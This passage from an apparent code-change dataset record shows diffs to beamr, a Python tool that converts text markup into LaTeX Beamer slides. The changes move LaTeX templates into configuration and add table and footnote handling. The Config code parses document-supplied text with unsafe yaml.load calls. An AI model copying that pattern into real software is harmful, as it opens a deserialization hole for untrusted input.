s,\n '><': lambda s: '\\\\begin{center}\\n%s\\n\\\\end{center}' % s,\n '<<': lambda s: '\\\\begin{flushleft}\\n%s\\n\\\\end{flushleft}' % s,\n '>>': lambda s: '\\\\begin{flushright}\\n%s\\n\\\\end{flushright}' % s,\n '+' : lambda s: r'\\pause ', # @UnusedVariable\n '>' : lambda s: r'\\hfill ', # @UnusedVariable\n '^^': lambda s: r'\\vspace{-%s}' % s, # TODO check number, add default unit (mm)\n 'vv': lambda s: r'\\vspace{%s}' % s, # TODO check number, add default unit (mm)\n '__': lambda s: r'{\\footnotesize %s}' % s,\n ':' : lambda s: r''\n },\n\n # Bibliography file\n 'bib': None,\n }\n\n # Config instances left to process from document\n docConfig = []\n\n # Store command-line config for updating after document config has been loaded\n cmdlineConfig = {}\n\n def __init__(self, txt):\n self.parsedConfig = yaml.load_all(txt)\n self.__class__.docConfig.append(self)\n\n @classmethod\n def resolve(cls):\n configStubs = [cls.cmdlineConfig] # Config from command line\n\n # Config from input file\n while len(cls.docConfig):\n try:\n for stub in cls.docConfig.pop(0).parsedConfig:\n configStubs.append(stub)\n except: # If there was bad Yaml\n pass\n\n # Config from user config file\n try:\n with open(cls.userConfigPath, 'r') as cf:\n for stub in yaml.load_all(re.sub( # Get rid of text outside Yaml markers\n r'(^|\\n\\.\\.\\.)[\\s\\S]*?($|\\n---)',\n '\\n---',\n cf.read()\n )):\n if stub:\n configStubs.append(stub)\n except:\n pass\n\n # Update effective config above with all these\n for c in reversed(configStubs):\n cls.recursiveUpdate(cls.effectiveConfig, c)\n\n @classmethod\n def fromCmdline(cls, general, **special):\n try:\n cls.recursiveUpdate(cls.cmdlineConfig, yaml.load(general))\n except:\n pass\n cls.recursiveUpdate(cls.cmdlineConfig, special)\n\n @classmethod\n def getRaw(cls, *arg):\n try:\n d = cls.effectiveConfig\n for i in range(len(arg)):\n d = d[arg[i]]\n return d\n except Exception as e:\n warn('Could not get raw configuration for', arg, 'due to', repr(e))\n return None\n\n @classmethod\n def get(cls, *arg, **kw):\n try:\n d = cls.effectiveConfig\n for i in range(len(arg)):\n d = d[arg[i]]\n if callable(d):\n return d\n return lambda s: d % s\n except Exception as e:\n warn('Could not get configuration for', arg, 'due to', repr(e))\n return kw['default'] if 'default' in kw else lambda s: s\n\n @classmethod\n def editUserConfig(cls, editor):\n if not os.path.isfile(cls.userConfigPath):\n if editor:\n with open(cls.userConfigPath, 'w') as cf:\n cf.write(cls.userConfigTemplate % editor)\n else:\n err('Editor not given. Cannot edit.')\n return 2\n elif not editor:\n try:\n with open(cls.userConfigPath, 'r') as cf:\n for d in yaml.load_all(cf):\n if 'editor' in d:\n editor = d['editor']\n break\n except:\n pass\n if not editor:\n err('Editor not given. Cannot edit.')\n return 3\n subprocess.call([editor, cls.userConfigPath])\n return 0\n\n @staticmethod\n def recursiveUpdate(target, content):\n for k in content:\n if k in target and isinstance(content[k], dict) and isinstance(target[k], dict):\n Config.recursiveUpdate(target[k], content[k])\n elif k in target and isinstance(content[k], list) and isinstance(target[k], list):\n target[k] += content[k]\n else:\n target[k] = content[k]\n\n def __str__(self):\n return ''\n\n"}, "/beamr/interpreters/hierarchical.py": {"changes": [{"diff": "\n from beamr.debug import debug, warn\n from beamr.lexers import docLexer, slideLexer\n from beamr.parsers import docParser, slideParser\n-from beamr.interpreters import Config, VerbatimEnv\n+from beamr.interpreters import Config, VerbatimEnv, TableEnv\n+import re\n \n class Hierarchy(object):\n \n", "add": 2, "remove": 1, "filename": "/beamr/interpreters/hierarchical.py", "badparts": ["from beamr.interpreters import Config, VerbatimEnv"], "goodparts": ["from beamr.interpreters import Config, VerbatimEnv, TableEnv", "import re"]}, {"diff": "\n \n \n class Document(Hierarchy):\n-\n- docClassCmd = (r'\\documentclass[%s]{%s}', r'\\documentclass{%s}')\n- packageCmd = (r'\\usepackage[%s]{%s}', r'\\usepackage{%s}')\n- titlePageCmd = '\\\\frame{\\\\titlepage}\\n'\n- begin = '\\n\\\\begin{document}\\n'\n- end = '\\\\end{document}\\n'\n-\n- # TODO title gizmos e.g. \\title[This will be in footer]{This will be on title slide} Also, [\\insertframenumber/\\inserttotalframenumber]\n- preambleCmds = {'theme' : '\\\\usetheme{%s}\\n',\n- 'scheme' : '\\\\usecolortheme{%s}\\n',\n- 'title' : '\\\\title{%s}\\n',\n- 'author' : '\\\\author{%s}\\n',\n- 'institute': '\\\\institute{%s}\\n',\n- 'date' : '\\\\date{%s}\\n'}\n+ simpleOuterPreambleCmds = ['theme', 'scheme', 'author', 'institute']\n \n def __init__(self, txt):\n- if txt.find('\\t') > -1:\n+ txt = '\\n' + txt\n+ docLexer.lineno = 0\n+\n+ i = txt.find('\\t')\n+ if i > -1:\n txt = txt.replace('\\t',' ')\n- warn(\"Input file has tabs, which will be considered 4 spaces; but please don't use tabs!\")\n- super(Document, self).__init__(docParser.parse(txt, docLexer), after=self.end)\n+ warn(\"Use of tabs is not recommended (will be considered 4 spaces)\",\n+ range=txt.count('\\n', 0, i))\n+ super(Document, self).__init__(docParser.parse(txt, docLexer))\n \n # Collect all kinds of configuration\n Config.resolve()\n", "add": 9, "remove": 17, "filename": "/beamr/interpreters/hierarchical.py", "badparts": [" docClassCmd = (r'\\documentclass[%s]{%s}', r'\\documentclass{%s}')", " packageCmd = (r'\\usepackage[%s]{%s}', r'\\usepackage{%s}')", " titlePageCmd = '\\\\frame{\\\\titlepage}\\n'", " begin = '\\n\\\\begin{document}\\n'", " end = '\\\\end{document}\\n'", " preambleCmds = {'theme' : '\\\\usetheme{%s}\\n',", " 'scheme' : '\\\\usecolortheme{%s}\\n',", " 'title' : '\\\\title{%s}\\n',", " 'author' : '\\\\author{%s}\\n',", " 'institute': '\\\\institute{%s}\\n',", " 'date' : '\\\\date{%s}\\n'}", " if txt.find('\\t') > -1:", " warn(\"Input file has tabs, which will be considered 4 spaces; but please don't use tabs!\")", " super(Document, self).__init__(docParser.parse(txt, docLexer), after=self.end)"], "goodparts": [" simpleOuterPreambleCmds = ['theme', 'scheme', 'author', 'institute']", " txt = '\\n' + txt", " docLexer.lineno = 0", " i = txt.find('\\t')", " if i > -1:", " warn(\"Use of tabs is not recommended (will be considered 4 spaces)\",", " range=txt.count('\\n', 0, i))", " super(Document, self).__init__(docParser.parse(txt, docLexer))"]}, {"diff": "\n VerbatimEnv.resolve()\n \n # Document class and package commands\n- packageDef = self.splitCmd(self.docClassCmd, Config.getRaw('docclass'))\n+ packageDef = self.splitCmd(Config.getRaw('~docclass'), Config.getRaw('docclass'))\n+ packageDef += Config.getRaw('packageDefPre')\n for pkg in Config.effectiveConfig['packages']:\n- packageDef += self.splitCmd(self.packageCmd, pkg)\n+ packageDef += self.splitCmd(Config.getRaw('~package'), pkg)\n packageDef += '\\n'\n \n # Outer preamble commands\n- outerPreamble = ''\n- for k in self.preambleCmds:\n- if k in Config.effectiveConfig:\n- outerPreamble += self.preambleCmds[k] % Config.getRaw(k)\n+ outerPreamble = Config.getRaw('outerPreamblePre')\n+\n+ for cmd in self.simpleOuterPreambleCmds:\n+ cmdVal = Config.getRaw(cmd)\n+ if cmdVal:\n+ outerPreamble += Config.get('~'+cmd)(cmdVal)\n+\n+ # Figure out what date to specify\n+ dateVal = Config.getRaw('date')\n+ if not dateVal:\n+ outerPreamble += Config.get('~date')('') # Date not specified therefore we must clear it in Beamer\n+ elif dateVal not in ['default', 'auto']:\n+ outerPreamble += Config.get('~date')(dateVal) # Date specified but not 'default' therefore we must specify it in Beamer\n+\n+ # Figure out what title and footer to specify\n+ titleVal = Config.getRaw('title') or ''\n+ footerVal = Config.getRaw('footer') or ''\n+ if footerVal == 'title':\n+ footerVal = titleVal\n+ elif footerVal == 'counter':\n+ footerVal = Config.getRaw('~footerCounter')\n+ elif footerVal == 'title counter':\n+ footerVal = titleVal + Config.getRaw('~footerCounter')\n+ elif footerVal == 'counter title':\n+ footerVal = Config.getRaw('~footerCounter') + titleVal\n+ outerPreamble += Config.get('~title')((footerVal, titleVal))\n+\n+ # Place tables of contents where necessary\n+ if Config.getRaw('sectionToc') == True:\n+ outerPreamble += Config.get('~sectionToc')(Config.getRaw('tocTitle'))\n+ if not Config.getRaw('headerToc'):\n+ outerPreamble += Config.getRaw('~headerNoToc')\n+\n+ outerPreamble += Config.getRaw('outerPreamblePost')\n \n # Inner preamble commands\n- innerPreamble = VerbatimEnv.preambleDefs\n- if Config.effectiveConfig.get('titlepage', 'no') in ['yes', 'y', 'true', True]:\n- innerPreamble += self.titlePageCmd\n+ innerPreamble = Config.getRaw('innerPreamblePre')\n+ innerPreamble += VerbatimEnv.preambleDefs\n+ if Config.getRaw('titlePage') == True:\n+ innerPreamble += Config.getRaw('~titlePage')\n+ if Config.getRaw('toc') == True:\n+ innerPreamble += Config.get('~tocPage')(Config.getRaw('tocTitle'))\n+ innerPreamble += Config.getRaw('innerPreamblePost')\n+\n+ # Outro commands\n+ outro = Config.getRaw('outroPre')\n \n- self.before = packageDef + outerPreamble + self.begin + innerPreamble\n+ bib = Config.getRaw('bib')\n+ bibCmd = Config.getRaw('~bibPage')\n+ outro += bibCmd % (Config.getRaw('bibTitle'), bib) if bib and bibCmd else ''\n+\n+ outro += Config.getRaw('outroPost')\n+\n+ self.before = packageDef + outerPreamble + Config.getRaw('~docBegin') + innerPreamble\n+ self.after = outro + Config.getRaw('~docEnd')\n \n @staticmethod\n def splitCmd(cmdTemplate, content):\n", "add": 55, "remove": 10, "filename": "/beamr/interpreters/hierarchical.py", "badparts": [" packageDef = self.splitCmd(self.docClassCmd, Config.getRaw('docclass'))", " packageDef += self.splitCmd(self.packageCmd, pkg)", " outerPreamble = ''", " for k in self.preambleCmds:", " if k in Config.effectiveConfig:", " outerPreamble += self.preambleCmds[k] % Config.getRaw(k)", " innerPreamble = VerbatimEnv.preambleDefs", " if Config.effectiveConfig.get('titlepage', 'no') in ['yes', 'y', 'true', True]:", " innerPreamble += self.titlePageCmd", " self.before = packageDef + outerPreamble + self.begin + innerPreamble"], "goodparts": [" packageDef = self.splitCmd(Config.getRaw('~docclass'), Config.getRaw('docclass'))", " packageDef += Config.getRaw('packageDefPre')", " packageDef += self.splitCmd(Config.getRaw('~package'), pkg)", " outerPreamble = Config.getRaw('outerPreamblePre')", " for cmd in self.simpleOuterPreambleCmds:", " cmdVal = Config.getRaw(cmd)", " if cmdVal:", " outerPreamble += Config.get('~'+cmd)(cmdVal)", " dateVal = Config.getRaw('date')", " if not dateVal:", " outerPreamble += Config.get('~date')('') # Date not specified therefore we must clear it in Beamer", " elif dateVal not in ['default', 'auto']:", " outerPreamble += Config.get('~date')(dateVal) # Date specified but not 'default' therefore we must specify it in Beamer", " titleVal = Config.getRaw('title') or ''", " footerVal = Config.getRaw('footer') or ''", " if footerVal == 'title':", " footerVal = titleVal", " elif footerVal == 'counter':", " footerVal = Config.getRaw('~footerCounter')", " elif footerVal == 'title counter':", " footerVal = titleVal + Config.getRaw('~footerCounter')", " elif footerVal == 'counter title':", " footerVal = Config.getRaw('~footerCounter') + titleVal", " outerPreamble += Config.get('~title')((footerVal, titleVal))", " if Config.getRaw('sectionToc') == True:", " outerPreamble += Config.get('~sectionToc')(Config.getRaw('tocTitle'))", " if not Config.getRaw('headerToc'):", " outerPreamble += Config.getRaw('~headerNoToc')", " outerPreamble += Config.getRaw('outerPreamblePost')", " innerPreamble = Config.getRaw('innerPreamblePre')", " innerPreamble += VerbatimEnv.preambleDefs", " if Config.getRaw('titlePage') == True:", " innerPreamble += Config.getRaw('~titlePage')", " if Config.getRaw('toc') == True:", " innerPreamble += Config.get('~tocPage')(Config.getRaw('tocTitle'))", " innerPreamble += Config.getRaw('innerPreamblePost')", " outro = Config.getRaw('outroPre')", " bib = Config.getRaw('bib')", " bibCmd = Config.getRaw('~bibPage')", " outro += bibCmd % (Config.getRaw('bibTitle'), bib) if bib and bibCmd else ''", " outro += Config.getRaw('outroPost')", " self.before = packageDef + outerPreamble + Config.getRaw('~docBegin') + innerPreamble", " self.after = outro + Config.getRaw('~docEnd')"]}, {"diff": "\n \n parsingQ = []\n \n- before = '\\\\begin{frame}%s{%s}\\n'\n- after = '\\n\\\\end{frame}\\n'\n-\n- def __init__(self, txt):\n- headBegin = txt.find('[')\n- headEnd = txt.find('\\n', headBegin)\n- headSplit = (txt.find(' ', headBegin) + 1) or headEnd # If there is a blank, title begins after it; otherwise stop at end of line and title will be the empty string.\n-\n-# TODO THERE IS A BUG HERE WHEN SLIDE OPEN JUST BY [ ALONE\n+ def __init__(self, title, opts, content):\n+ docLexer.lineno += 1\n+ nextlineno = docLexer.nextlineno\n+ before = Config.get('~sldBeginNormal')(title)\n \n # Add breaks or shrink if applicable\n- opts = txt[headBegin+1 : headSplit].strip()\n if len(opts) > 0:\n if opts[0] == '.':\n if opts == '...':\n- opts = '[allowframebreaks]'\n+ before = Config.get('~sldBeginBreak')(title)\n+ elif len(opts) == 1:\n+ before = Config.get('~sldBeginShrinkAuto')(title)\n else:\n try:\n float(opts[1:])\n- opts = '[shrink=%s]' % opts[1:]\n+ before = Config.get('~sldBeginShrink')((opts[1:], title))\n except:\n- warn('Slide title: Invalid shrink specifier:', opts[1:])\n- opts = ''\n+ warn('Slide title: Invalid shrink specifier:', opts[1:], range=docLexer.lineno)\n+ before = Config.get('~sldBeginShrinkAuto')(title)\n else:\n- warn('Slide title: Invalid slide option:', opts)\n- opts = ''\n+ warn('Slide title: Invalid option:', opts, range=docLexer.lineno)\n \n- super(Slide, self).__init__(slideParser.parse(txt[headEnd:-1], slideLexer),\n- self.before % (opts, txt[headSplit:headEnd]),\n- self.after)\n+ slideLexer.lineno = docLexer.lineno\n+ super(Slide, self).__init__(slideParser.parse(content, slideLexer),\n+ before,\n+ Config.getRaw('~sldEnd'))\n \n # Hierarchical children will have added themselves to the parsing queue which we process now\n while len(self.parsingQ) > 0:\n self.parsingQ.pop()()\n \n+ docLexer.lineno = nextlineno\n+\n \n class ListItem(Hierarchy):\n \n", "add": 17, "remove": 19, "filename": "/beamr/interpreters/hierarchical.py", "badparts": [" before = '\\\\begin{frame}%s{%s}\\n'", " after = '\\n\\\\end{frame}\\n'", " def __init__(self, txt):", " headBegin = txt.find('[')", " headEnd = txt.find('\\n', headBegin)", " headSplit = (txt.find(' ', headBegin) + 1) or headEnd # If there is a blank, title begins after it; otherwise stop at end of line and title will be the empty string.", " opts = txt[headBegin+1 : headSplit].strip()", " opts = '[allowframebreaks]'", " opts = '[shrink=%s]' % opts[1:]", " warn('Slide title: Invalid shrink specifier:', opts[1:])", " opts = ''", " warn('Slide title: Invalid slide option:', opts)", " opts = ''", " super(Slide, self).__init__(slideParser.parse(txt[headEnd:-1], slideLexer),", " self.before % (opts, txt[headSplit:headEnd]),", " self.after)"], "goodparts": [" def __init__(self, title, opts, content):", " docLexer.lineno += 1", " nextlineno = docLexer.nextlineno", " before = Config.get('~sldBeginNormal')(title)", " before = Config.get('~sldBeginBreak')(title)", " elif len(opts) == 1:", " before = Config.get('~sldBeginShrinkAuto')(title)", " before = Config.get('~sldBeginShrink')((opts[1:], title))", " warn('Slide title: Invalid shrink specifier:', opts[1:], range=docLexer.lineno)", " before = Config.get('~sldBeginShrinkAuto')(title)", " warn('Slide title: Invalid option:', opts, range=docLexer.lineno)", " slideLexer.lineno = docLexer.lineno", " super(Slide, self).__init__(slideParser.parse(content, slideLexer),", " before,", " Config.getRaw('~sldEnd'))", " docLexer.lineno = nextlineno"]}, {"diff": "\n \n class Column(Hierarchy):\n \n- begin = '\\\\begin{columns}\\n'\n- end = '\\\\end{columns}'\n- marker = '\\\\column{%.3f\\\\textwidth}\\n'\n-\n def __init__(self, txt):\n+ lineno = slideLexer.lineno + 1\n+ nextlineno = slideLexer.nextlineno\n txt = txt.strip()\n \n- debug('Txt picked up by col:', txt)\n+ debug('Txt picked up by col:', txt, range=lineno)\n i = txt.find('\\n') # Guaranteed >0 by regex\n head = txt[1:i].strip()\n- txt = txt[i+1:]\n+ txt = txt[i:]\n \n # Identify width params\n self.percentage = self.units = 0.0\n", "add": 4, "remove": 6, "filename": "/beamr/interpreters/hierarchical.py", "badparts": [" begin = '\\\\begin{columns}\\n'", " end = '\\\\end{columns}'", " marker = '\\\\column{%.3f\\\\textwidth}\\n'", " debug('Txt picked up by col:', txt)", " txt = txt[i+1:]"], "goodparts": [" lineno = slideLexer.lineno + 1", " nextlineno = slideLexer.nextlineno", " debug('Txt picked up by col:', txt, range=lineno)", " txt = txt[i:]"]}, {"diff": "\n elif len(currentColumnSet) > 0:\n \n # Begin and end column environment around first and last columns of current set.\n- currentColumnSet[0].before = cls.begin\n- currentColumnSet[-1].after += cls.end\n+ currentColumnSet[0].before = Config.getRaw('~colBegin')\n+ currentColumnSet[-1].after += Config.getRaw('~colEnd')\n \n if totalSpace < 0.0: # Anti-stupid\n warn('Fixed column widths exceed 100%.', totalSpace, 'remaining, setting to 0.')\n", "add": 2, "remove": 2, "filename": "/beamr/interpreters/hierarchical.py", "badparts": [" currentColumnSet[0].before = cls.begin", " currentColumnSet[-1].after += cls.end"], "goodparts": [" currentColumnSet[0].before = Config.getRaw('~colBegin')", " currentColumnSet[-1].after += Config.getRaw('~colEnd')"]}, {"diff": "\n if col.unspecified:\n col.percentage = totalSpace / unspecifiedCount\n \n- col.before += cls.marker % (col.percentage if col.percentage > 0.0\n+ col.before += Config.get('~colMarker')(col.percentage\n+ if col.percentage > 0.0\n else col.units / totalUnits * totalSpace)\n \n # Reset counters and set\n", "add": 2, "remove": 1, "filename": "/beamr/interpreters/hierarchical.py", "badparts": [" col.before += cls.marker % (col.percentage if col.percentage > 0.0"], "goodparts": [" col.before += Config.get('~colMarker')(col.percentage", " if col.percentage > 0.0"]}, {"diff": "\n cls.resolve(elem.children)\n \n \n-class Box(Hierarchy):\n+class OrgTable(TableEnv):\n+\n+ def __init__(self, txt):\n+ lineno = slideLexer.lineno\n+ nextlineno = slideLexer.nextlineno\n+\n+ # Regular expression for separating table cells from a row (based on capturing groups)\n+ r = re.compile(r'\\|(\\|?)((?:\\\\\\||[^\\|\\n])*)')\n+ # Regular expression for detecting horizontal bar lines\n+ b = re.compile(r'\\|{1,2}(-+(\\+-)*)+\\|{1,2}')\n+\n+ # This will store the contents of cells\n+ arr = []\n+ # These will remember cell alignments and where to place margins\n+ aligns = ''\n+ vBars = ''\n+ hBars = []\n+\n+ # Iterate through non-blank lines...\n+ i = 0\n+ for line in txt.splitlines():\n+ lineno += 1\n+ line = line.strip()\n+ if line:\n+\n+ # Bar line. Mark horizontal bar\n+ if b.match(line):\n+ hBars.append(i)\n+\n+ # Contents line. Create a row in the matrix, split and process\n+ else:\n+ arr.append([])\n+ enumLine = [el for el in enumerate(r.findall(line))]\n \n- # TODO anything config-able?\n- # TODO other types of box (affects regex)\n+ # Iterate over cells...\n+ for j, (bar, text) in enumLine:\n \n- begin = '\\\\begin{%sblock}{%s}\\n'\n- end = '\\\\end{%sblock}\\n'\n+ # First visit this far to the right. Note if vertical bar is needed\n+ if len(vBars) <= j:\n+ vBars += '|' if bar else ' '\n \n- def __init__(self, txt):\n- txt = txt.strip()[:-1]\n+ # Not beyond right edge. Process contents\n+ if j+1 < len(enumLine):\n \n- # Isolate head (marker & title) from content\n- i = txt.find('\\n') # Guaranteed >0 by regex definition\n- head = txt[:i].strip()\n- txt = txt[i+1:]\n+ # First visit this far to the right. Note alignment based on blanks\n+ if len(aligns) <= j:\n+ # Anti-stupid: Empty cell on first line, e.g. 3 consecutive |s. It's really hard to tell what the intention was\n+ if not text:\n+ aligns += 'c'\n+\n+ elif text[0] == ' ':\n+ aligns += 'c' if text[-1] == ' ' else 'r'\n+ else:\n+ aligns += 'l' if text[-1] == ' ' else 'X'\n+\n+ # Enqueue contents for parsing and addition to current matrix row\n+ self.qHelper(arr[i], text.replace(r'\\|', '|'), lineno)\n+ i += 1\n+\n+ # Store what we have processed for use by __str__() in TableEnv.\n+ # (arr contains only empty lists at this point, but they will be populated from the queue)\n+ super(OrgTable, self).remember(arr, aligns, vBars, hBars)\n+ slideLexer.lineno = nextlineno\n+\n+ # Helper function to enqueue the processing of a cell's contents and\n+ # append the results to given table row\n+ @staticmethod\n+ def qHelper(arr, text, lineno):\n+ def innerFunc():\n+ slideLexer.lineno = lineno\n+ arr.append(Hierarchy(slideParser.parse(text, slideLexer)))\n+ Slide.parsingQ.insert(0, innerFunc)\n \n- # Find box kind based on marker\n- kind = ''\n- if head[1] == '!':\n- kind = 'alert'\n \n- # Isolate title (if any)\n- head = head[2:]\n+class Box(Hierarchy):\n+\n+ def __init__(self, kind, title, content):\n+ lineno = slideLexer.lineno + 1\n+ nextlineno = slideLexer.nextlineno\n \n # Enqueue function below to be called when all current parsing has finished\n def innerFunc():\n- super(Box, self).__init__(slideParser.parse(txt, slideLexer),\n- self.begin % (kind, head),\n- self.end % kind)\n+ slideLexer.lineno = lineno\n+ super(Box, self).__init__(slideParser.parse(content, slideLexer),\n+ Config.get('~boxBegin', kind)(title),\n+ Config.getRaw('~boxEnd', kind))\n \n Slide.parsingQ.insert(0, innerFunc)\n+ slideLexer.lineno = nextlineno\n \n \n class Emph(Hierarchy):\n", "add": 78, "remove": 20, "filename": "/beamr/interpreters/hierarchical.py", "badparts": ["class Box(Hierarchy):", " begin = '\\\\begin{%sblock}{%s}\\n'", " end = '\\\\end{%sblock}\\n'", " def __init__(self, txt):", " txt = txt.strip()[:-1]", " i = txt.find('\\n') # Guaranteed >0 by regex definition", " head = txt[:i].strip()", " txt = txt[i+1:]", " kind = ''", " if head[1] == '!':", " kind = 'alert'", " head = head[2:]", " super(Box, self).__init__(slideParser.parse(txt, slideLexer),", " self.begin % (kind, head),", " self.end % kind)"], "goodparts": ["class OrgTable(TableEnv):", " def __init__(self, txt):", " lineno = slideLexer.lineno", " nextlineno = slideLexer.nextlineno", " r = re.compile(r'\\|(\\|?)((?:\\\\\\||[^\\|\\n])*)')", " b = re.compile(r'\\|{1,2}(-+(\\+-)*)+\\|{1,2}')", " arr = []", " aligns = ''", " vBars = ''", " hBars = []", " i = 0", " for line in txt.splitlines():", " lineno += 1", " line = line.strip()", " if line:", " if b.match(line):", " hBars.append(i)", " else:", " arr.append([])", " enumLine = [el for el in enumerate(r.findall(line))]", " for j, (bar, text) in enumLine:", " if len(vBars) <= j:", " vBars += '|' if bar else ' '", " if j+1 < len(enumLine):", " if len(aligns) <= j:", " if not text:", " aligns += 'c'", " elif text[0] == ' ':", " aligns += 'c' if text[-1] == ' ' else 'r'", " else:", " aligns += 'l' if text[-1] == ' ' else 'X'", " self.qHelper(arr[i], text.replace(r'\\|', '|'), lineno)", " i += 1", " super(OrgTable, self).remember(arr, aligns, vBars, hBars)", " slideLexer.lineno = nextlineno", " @staticmethod", " def qHelper(arr, text, lineno):", " def innerFunc():", " slideLexer.lineno = lineno", " arr.append(Hierarchy(slideParser.parse(text, slideLexer)))", " Slide.parsingQ.insert(0, innerFunc)", "class Box(Hierarchy):", " def __init__(self, kind, title, content):", " lineno = slideLexer.lineno + 1", " nextlineno = slideLexer.nextlineno", " slideLexer.lineno = lineno", " super(Box, self).__init__(slideParser.parse(content, slideLexer),", " Config.get('~boxBegin', kind)(title),", " Config.getRaw('~boxEnd', kind))", " slideLexer.lineno = nextlineno"]}, {"diff": "\n \n \n class Stretch(Hierarchy):\n- def __init__(self, flag, txt=''):\n- self.flag = flag\n+ def __init__(self, flagS, flagF, txt=''):\n+ self.flagS = flagS if flagS else ''\n+ self.flagF = flagF if flagF else ''\n def innerFunc():\n super(Stretch, self).__init__(slideParser.parse(txt, slideLexer) if txt else [])\n Slide.parsingQ.insert(0, innerFunc)\n \n def __str__(self):\n- return Config.get('stretch', self.flag)(super(Stretch, self).__str__())\n+ f = Config.get('stretch', self.flagS + self.flagF, default=None)\n+ if not f and self.flagS == self.flagF:\n+ f = Config.get('stretch', self.flagS, default=None)\n+ if not f:\n+ f = Config.get('emph', self.flagS)\n+ if f:\n+ return f(super(Stretch, self).__str__())\n+ return super(Stretch, self).__str__()\n \n \n class Footnote(Hierarchy):\n+\n def __init__(self, txt):\n+ i = txt.find(':')\n+ label = txt[0:i] if i > -1 else None\n+ txt = txt[i+1:]\n+\n def innerFunc():\n- super(Footnote, self).__init__(slideParser.parse(txt, slideLexer),\n- r'\\footnote[frame]{', '}')\n+ if txt and label:\n+ super(Footnote, self).__init__(slideParser.parse(txt, slideLexer),\n+ Config.get('~fnLabel')(label),\n+ '}')\n+ elif txt:\n+ super(Footnote, self).__init__(slideParser.parse(txt, slideLexer),\n+ Config.getRaw('~fnSimple'),\n+ '}')\n+ elif label:\n+ super(Footnote, self).__init__([],\n+ Config.get('~fnOnlyLabel')(label))\n+ else:\n+ super(Footnote, self).__init__([])\n Slide.parsingQ.insert(0, innerFu", "add": 29, "remove": 5, "filename": "/beamr/interpreters/hierarchical.py", "badparts": [" def __init__(self, flag, txt=''):", " self.flag = flag", " return Config.get('stretch', self.flag)(super(Stretch, self).__str__())", " super(Footnote, self).__init__(slideParser.parse(txt, slideLexer),", " r'\\footnote[frame]{', '}')"], "goodparts": [" def __init__(self, flagS, flagF, txt=''):", " self.flagS = flagS if flagS else ''", " self.flagF = flagF if flagF else ''", " f = Config.get('stretch', self.flagS + self.flagF, default=None)", " if not f and self.flagS == self.flagF:", " f = Config.get('stretch', self.flagS, default=None)", " if not f:", " f = Config.get('emph', self.flagS)", " if f:", " return f(super(Stretch, self).__str__())", " return super(Stretch, self).__str__()", " i = txt.find(':')", " label = txt[0:i] if i > -1 else None", " txt = txt[i+1:]", " if txt and label:", " super(Footnote, self).__init__(slideParser.parse(txt, slideLexer),", " Config.get('~fnLabel')(label),", " '}')", " elif txt:", " super(Footnote, self).__init__(slideParser.parse(txt, slideLexer),", " Config.getRaw('~fnSimple'),", " '}')", " elif label:", " super(Footnote, self).__init__([],", " Config.get('~fnOnlyLabel')(label))", " else:", " super(Footnote, self).__init__([])"]}], "source": "\n''' Created on 1 Feb 2018 @author: Teodor Gherasim Nistor ''' from beamr.debug import debug, warn from beamr.lexers import docLexer, slideLexer from beamr.parsers import docParser, slideParser from beamr.interpreters import Config, VerbatimEnv class Hierarchy(object): def __init__(self, children, before='', after='', inter=''): self.children=children self.before=before self.after=after self.inter=inter def __str__(self): s=self.before for c in self.children: s +=str(c) +self.inter s +=self.after return s class Document(Hierarchy): docClassCmd=(r'\\documentclass[%s]{%s}', r'\\documentclass{%s}') packageCmd=(r'\\usepackage[%s]{%s}', r'\\usepackage{%s}') titlePageCmd='\\\\frame{\\\\titlepage}\\n' begin='\\n\\\\begin{document}\\n' end='\\\\end{document}\\n' preambleCmds={'theme' : '\\\\usetheme{%s}\\n', 'scheme' : '\\\\usecolortheme{%s}\\n', 'title' : '\\\\title{%s}\\n', 'author' : '\\\\author{%s}\\n', 'institute': '\\\\institute{%s}\\n', 'date' : '\\\\date{%s}\\n'} def __init__(self, txt): if txt.find('\\t') > -1: txt=txt.replace('\\t',' ') warn(\"Input file has tabs, which will be considered 4 spaces; but please don't use tabs!\") super(Document, self).__init__(docParser.parse(txt, docLexer), after=self.end) Config.resolve() debug('Final config', Config.effectiveConfig) ListItem.resolve(self.children) Column.resolve(self.children) VerbatimEnv.resolve() packageDef=self.splitCmd(self.docClassCmd, Config.getRaw('docclass')) for pkg in Config.effectiveConfig['packages']: packageDef +=self.splitCmd(self.packageCmd, pkg) packageDef +='\\n' outerPreamble='' for k in self.preambleCmds: if k in Config.effectiveConfig: outerPreamble +=self.preambleCmds[k] % Config.getRaw(k) innerPreamble=VerbatimEnv.preambleDefs if Config.effectiveConfig.get('titlepage', 'no') in['yes', 'y', 'true', True]: innerPreamble +=self.titlePageCmd self.before=packageDef +outerPreamble +self.begin +innerPreamble @staticmethod def splitCmd(cmdTemplate, content): i=content.rfind(',') if i > -1: return cmdTemplate[0] %(content[:i], content[i+1:]) +'\\n' else: return cmdTemplate[1] % content +'\\n' class Slide(Hierarchy): parsingQ=[] before='\\\\begin{frame}%s{%s}\\n' after='\\n\\\\end{frame}\\n' def __init__(self, txt): headBegin=txt.find('[') headEnd=txt.find('\\n', headBegin) headSplit=(txt.find(' ', headBegin) +1) or headEnd opts=txt[headBegin+1: headSplit].strip() if len(opts) > 0: if opts[0]=='.': if opts=='...': opts='[allowframebreaks]' else: try: float(opts[1:]) opts='[shrink=%s]' % opts[1:] except: warn('Slide title: Invalid shrink specifier:', opts[1:]) opts='' else: warn('Slide title: Invalid slide option:', opts) opts='' super(Slide, self).__init__(slideParser.parse(txt[headEnd:-1], slideLexer), self.before %(opts, txt[headSplit:headEnd]), self.after) while len(self.parsingQ) > 0: self.parsingQ.pop()() class ListItem(Hierarchy): enumCounters=['i', 'ii', 'iii', 'iv'] enumCounterCmd='\\\\setcounter{enum%s}{%d}\\n' counterValues=[0,0,0,0] begins=['\\\\begin{itemize}\\n', '\\\\begin{enumerate}\\n', '\\\\begin{description}\\n'] specs=['', '', '<+->', '<+-|alert@+>'] markers=[r'\\item%s %s', r'\\item%s %s', r'\\item%s[%s] '] ends=['\\\\end{itemize}\\n', '\\\\end{enumerate}\\n', '\\\\end{description}\\n'] def __init__(self, txt): txt=txt.strip() def innerFunc(): i=txt.find(' ') marker=txt[:i] describee='' content=txt[i+1:] self.emph=1 if marker.find('*') > -1 else 0 self.uncover=2 if marker.find('+') > -1 else 0 self.kind=0 self.resume=False if marker.find('.') > -1: self.kind=1 elif marker.find(',') > -1: self.kind=1 self.resume=True elif marker.find('=') > -1: self.kind=2 j=content.find('=') if j==-1: j=content.find(' ') if j==-1: describee=content content=' ' else: describee=content[:j] content=content[j+1:] super(ListItem, self).__init__(slideParser.parse(content, slideLexer), '%s' +self.markers[self.kind] 